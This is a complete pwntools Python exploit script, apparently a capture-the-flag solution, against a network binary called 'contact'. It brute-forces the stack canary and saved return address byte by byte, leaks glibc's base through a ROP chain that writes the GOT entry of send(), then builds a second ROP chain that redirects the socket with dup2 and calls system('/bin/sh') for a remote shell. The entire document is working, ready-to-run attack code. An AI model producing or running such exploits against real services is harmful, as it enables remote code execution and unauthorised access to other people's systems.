root_exploit.py

#!/usr/bin/env python3

from pwn import *

context.binary = elf = ELF('contact')
glibc = ELF('libc.so.6', checksec=False)


def get_process():
    if len(sys.argv) != 2:
        log.error(f'Usage: python3 {sys.argv[0]} <ip:port>')

    host, port = sys.argv[1].split(':')
    return remote(host, int(port))


def brute_force_value(payload: bytes, name: str, start: bytes = b'') -> bytes:
    value = start
    value_prog = log.progress(name)

    while len(value) < 8:
        for b in range(256):
            with context.local(log_level='CRITICAL'):
                p = get_process()

            test_value = value + p8(b)
            value_prog.status(test_value.hex())
            p.sendafter(b'admin:\n', payload + test_value)

            try:
                if b'Done.' in p.recv(timeout=1):
                    value = test_value
                    break
            except EOFError:
                pass
            finally:
                with context.local(log_level='CRITICAL'):
                    p.close()

    value_prog.success(value.hex())

    return value


def main():
    offset = 56
    junk = b'A' * offset

    canary    = brute_force_value(junk,                      'Canary    ', start=b'\0')
    saved_rbp = brute_force_value(junk + canary,             'Saved $rbp', )
    saved_rip = brute_force_value(junk + canary + saved_rbp, 'Saved $rip', start=b'\x62')

    print()
    elf.address = u64(saved_rip) - 0x1562
    log.success(f'ELF base address: {hex(elf.address)}')

    print()
    rop = ROP(elf)
    socket_fd = 4

    payload  = junk
    payload += canary
    payload += saved_rbp
    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(socket_fd)
    payload += p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0])
    payload += p64(elf.got.send)
    payload += p64(0)
    payload += p64(rop.find_gadget(['pop rdx', 'ret'])[0])
    payload += p64(8)
    payload += p64(elf.plt.write)
    
    with context.local(log_level='CRITICAL'):
        p = get_process()
        p.sendlineafter(b'admin:\n', payload)

        send_addr = u64(p.recv().ljust(8, b'\0'))
        glibc.address = send_addr - glibc.symbols.send
        p.close()

    print()
    log.success(f'Leaked send() address: {hex(send_addr)}')
    log.success(f'Glibc base address   : {hex(glibc.address)}')

    print()
    rop = ROP([elf, glibc])

    payload  = junk
    payload += canary
    payload += saved_rbp

    for fd in [0, 1, 2]:
        payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
        payload += p64(socket_fd)
        payload += p64(rop.find_gadget(['pop rsi', 'ret'])[0])
        payload += p64(fd)
        payload += p64(glibc.symbols.dup2)

    payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
    payload += p64(next(glibc.search(b'/bin/sh')))
    payload += p64(glibc.symbols.system)

    with context.local(log_level='CRITICAL'):
        p = get_process()
        p.sendlineafter(b'admin:\n', payload)

    print()
    p.interactive()


if __name__ == '__main__':
    main()